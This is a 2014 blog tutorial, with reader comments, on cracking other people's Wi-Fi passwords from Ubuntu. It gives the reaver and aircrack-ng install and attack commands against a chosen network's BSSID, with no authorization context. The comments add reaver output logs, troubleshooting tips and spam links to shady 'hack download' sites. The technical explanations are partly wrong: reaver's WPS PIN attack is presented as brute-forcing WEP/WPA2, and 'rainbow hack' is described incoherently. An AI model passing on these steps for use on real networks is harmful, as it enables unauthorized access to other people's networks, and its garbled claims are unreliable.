Friday 24 January 2014

How to hack a wifi network(WEP / WPA2) using linux (in my case ubuntu)

To hack the wifi password with WEP/WPA2, you gonna need following programs.

1. reaver - This is free tools which can be downloaded on linux for free by typing following command on linux terminal

$ sudo apt-get install reaver

2. aircrack-ng - It is also a free tool for linux and is also available for windows, it can downloaded by using dollowing command

$ sudo apt-get install aircrack-ng


This hacking method used bruteforce, that means it is going to take lot of time, may be sometimes a day, but will surely provide you with the password unlike the dictionary hack, which it inefficient if the password is not made by words in dictionary.
For those, who don't know what brute force, dictionary or rainbow hack is?
Brute Force is very old fashioned and efficient way of hacking but time consuming. It tries every possible combination of words, letters, symbols, numbers and finally gave the password.
Dictionary hack uses the dictionary for hacking the password, it tries all the combination of words available in dictionary and if the password is combination of dictionary words, then this method is the best method to hack any password.
Rainbow hack is somewhat the combination of rainbow and brute force, it removes certain words to be searched for password based on the dictionary and it is thus more efficient than brute force and dictionary hack, in general cases.

Now to hack the wifi password, follow the following steps.

1.  First open the wlan port where you will hack your wifi, this is done by following command on the terminal
$ airmon-ng start wlan0

2. Now, we have to list all the wifi network available
$ airodump-ng mon0

3. Now copy the bssid of the wifi network you want to hack and use in iplace of <bssid> in following command
$ reaver -i mon0 -b <bssid>

Now, the brute force will start and password will be hacked in sometime, depending on the length and complexity of password.

62 comments:

  1. This comment has been removed by the author.

    ReplyDelete
    Replies
    1. Close all other tasks before executing it and it can sometimes take a minute or two

      Delete
    2. For Download Click Here : http://friendlyhacks.com/

      For Download Click Here : http://friendlyhacks.com/

      For Download Click Here : http://friendlyhacks.com/

      For Download Click Here : http://friendlyhacks.com/

      For Download Click Here : http://friendlyhacks.com/







































































































































      Delete
  2. Once i try airodump -ng it keeps running plz hlp.no place to give command

    ReplyDelete
    Replies
    1. I hack wifi networks whit this software hackwifipasswordhere.blogspot.com

      Delete
    2. I can't find this site

      Delete
  3. (precise)ody@localhost:~$ sudo apt-get install reaver
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done
    E: Unable to locate package reaver

    ReplyDelete
    Replies
    1. It happen because of few reason
      1. Update your sources list
      2. Try using different servers to download the tool
      3. If above steps donot work, you can always download the .deb of the tool over the web

      Delete
    2. Hem. Dont kno where is the problem thou.
      It was same when i did it, but it is installed !

      Delete
    3. Try
      $ sudo apt-get update
      Before installing it

      Delete
    4. What linux you running?

      Delete
  4. (precise)ody@localhost:~$ sudo apt-get install reaver
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done
    E: Unable to locate package reaver

    ReplyDelete
  5. $ airmion-ng start wlan0
    No command 'airmion-ng' found, did you mean:
    Command 'airmon-ng' from package 'aircrack-ng' (universe)
    airmion-ng: command not found

    ReplyDelete
  6. Its airmon-ng start wlan0
    Sorry for that.

    ReplyDelete
  7. [!] WARNING: Failed to associate with 20:54:76:29:75:D1 (ESSID: sujat)
    this is what i get from the terminal, what is the problem ples??

    ReplyDelete
    Replies
    1. Check if your wlan0 is working or not

      Delete
    2. it work...but WARNING: Failed to associate with xx:xx:xx:xx:Xx (ESSID: xxx).....
      can u help me :((

      Delete
    3. Hello
      I have a problem after the command sudo airmon-ng start wlan0

      appears this message

      Found 4 processes that could cause trouble.
      If airodump-ng, aireplay-ng or airtun-ng stops working after
      a short period of time, you may want to kill (some of) them!

      PID Name
      978 avahi-daemon
      980 avahi-daemon
      1021 NetworkManager
      3736 wpa_supplicant

      thanks in advance

      Delete
  8. [-] Failed to initialize interface 'mon0'
    [-] Failed to recover WPA key
    [+] Nothing done, nothing to save.

    whats wrong?

    ReplyDelete
    Replies
    1. Your wlan is not working.
      Make sure that proper wlan driver are Installed and your wlan is working

      Delete
    2. write command as super user:
      sudo -s
      your password
      ...
      it might work

      Delete
  9. guys please help when i run the command sudo airodump-ng mon0 i get this error
    Interface mon0:
    ioctl(SIOCGIFINDEX) failed: No such device what the problem?

    ReplyDelete
    Replies
    1. am having the same problem bros.how do we solve it

      Delete
  10. when i use airodump-ng mon0 command then it lists only my wifi BSSID but does not lists other wifi BSSID which are also available .. Pls help me with this ...

    ReplyDelete
    Replies
    1. Wait for some time, it will show

      Delete
    2. This comment has been removed by the author.

      Delete
    3. CH 1 ][ Elapsed: 11 mins ][ 2014-07-18 16:58 ][ Decloak: 00:07:26:4C:A8:0F

      BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

      00:07:26:4C:A8:0F -28 5206 16552 0 1 54 WPA2 CCMP PSK Wifi

      BSSID STATION PWR Rate Lost Packets Probes

      00:07:26:4C:A8:0F E0:06:E6:C9:02:0E 0 54 -54 0 16658 Wifi Ptcl

      root@ubuntu:~# reaver -i mon0 -b 00:07:26:4C:A8:0F

      Reaver v1.4 WiFi Protected Setup Attack Tool
      Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

      [+] Waiting for beacon from 00:07:26:4C:A8:0F
      [+] Associated with 00:07:26:4C:A8:0F (ESSID: Wifi Ptcl)



      I'm stuck here nothing is happening pls help me out...I'm using ubuntu 10.04

      Delete
    4. The network you are tying to hack is may be really slow.

      Delete
    5. Not working...
      I am trying do this with my own network.

      My Wifi Speed is 2MBPS

      Any help...

      Delete
  11. will this work on ubuntu 10.04,12.

    ReplyDelete
    Replies
    1. but i try it on both ubuntu
      but it showing like this itschool@itschool laptop:-sudo apt-get install reaver
      Reading package lists... Done
      Building dependency tree
      Reading state information... Done
      E: Unable to locate package reaver

      Delete
    2. Change your source, and do $sudo apt-get update
      And then install it.

      Delete
  12. I install reaver and aircrack but when I type the command $ airmon-ng start wlan0 terminal shows me run it as root.what will i do?

    ReplyDelete
    Replies
    1. Do $sudo airmon-ng start wlan0

      Delete
    2. i enter like it and it's okay but when i enter bssid they say that

      bash: syntax error near unexpected token 'newline'

      what will i do pls reply

      Delete
    3. Write the bssid number of the wifi network instead..lets see of it works

      Delete
  13. Hi,

    I am getting following message ..

    [!] WARNING: Failed to associate with XXXXXXXX (ESSID: XXXXXX)

    ReplyDelete
  14. Check if your interface is working properly or not.

    ReplyDelete
  15. i entered all that you said but when the wifi starts hacking it shows me like this:

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

    [+] Waiting for beacon from 00:1E:A6:1F:55:CC
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null))
    [!] WARNING: Failed to associate with 00:1E:A6:1F:55:CC (ESSID: (null)).......

    ReplyDelete
  16. hey why i am getting that?
    [+] Waiting for beacon from 18:26:66:1B:06:29
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))
    [!] WARNING: Failed to associate with 18:26:66:1B:06:29 (ESSID: (null))

    ReplyDelete
    Replies
    1. I had the same problem after installing Ubuntu 14.04. ! There is a very usefull site:
      http://forum.aircrack-ng.org/index.php?topic=666.0

      User: "kcdtv" wrote there the solution for the problem...

      Delete
  17. I configure a hotspot on my Linux machine and try to crack the hotspot from other Linux machine following this article but what I get for more than 5 hour is just as below, any help:

    [+] 0.00% complete ..... (0 seconds/pin)
    [+] 0.00% complete ..... (0 seconds/pin)

    ReplyDelete
    Replies
    1. same cracking steps were done directly on WIfi AP instead of hotspot and I was able to get the WPA 2 key. why it doesn't work with hotspot?!! pleeeeeeease help?

      Delete
    2. hotspot cannot accept keys as fast a router can.

      Delete
    3. this mean that I cannot use reaver or it means It will take times to get cracked? i keep it run for more than 10 hours. Note, My hotsopt configured with WPA2 key and differnt devices (iphone, samsung, ....) are able to connect to it.

      any other cracking tool may work?

      Delete

  18. Here is Mine Bro - http://danishhelp.blogspot.in/2014/09/5-steps-wifi-hacking-cracking-wpa2.html

    ReplyDelete
  19. the bssid is supposed to be the mac address displayed for the access point

    ReplyDelete
  20. Does this work for wifi hack its real or fake
    To hack wifi password

    ReplyDelete
  21. Hi. I've downloaded reaver and aircrack, but when i type in terminal: airmon-ng start wlan0
    Terminal gimes me this: Run it as a ROOT
    Any ideas?
    P.S. Sorry im noob in Linux :(

    ReplyDelete
  22. Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

    [-] Failed to retrieve a MAC address for interface 'man0'!

    ReplyDelete
  23. CH 1 ][ Elapsed: 17 mins ][ 2015-03-18 16:58 ]

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    10:0D:26:4C:A8:0F -28 5206 16552 0 1 54 WPA2 CCMP PSK Wifi

    BSSID STATION PWR Rate Lost Packets Probes

    10:0D:26:4C:A8:0F E0:06:E6:C9:02:0E 0 54 -54 0 16658 Wifi Ptcl

    root@ubuntu:~# reaver -i mon0 -b 10:0D:26:4C:A8:0F

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

    [+] Waiting for beacon from 10:0D:26:4C:A8:0F
    [+] Associated with 10:0D:26:4C:A8:0F (ESSID: SKYTECH)

    I'm stuck here nothing is happening after this line pls help me out...I'm using ubuntu 12.10

    ReplyDelete
  24. use in karli linux, it works like a charm there

    ReplyDelete
  25. when i type "airmon-ng start wlan0 "
    its telling me "wlan0 Broadcom wl - [phy0]mon0: ERROR while getting interface flags: No such device"

    what should i do

    ReplyDelete
  26. Add my link to your site or blog i will add your thanks.
    Url http://ebolabird.blogspot.com
    name Ebolabird the hacking world

    ReplyDelete
  27. xxxx@user-SATELLITE-xx:~$ sudo airodump-ng mon0
    [sudo] password for xxxxx:
    Interface mon0:
    ioctl(SIOCGIFINDEX) failed: No such device


    what should i do??
    help me pls

    ReplyDelete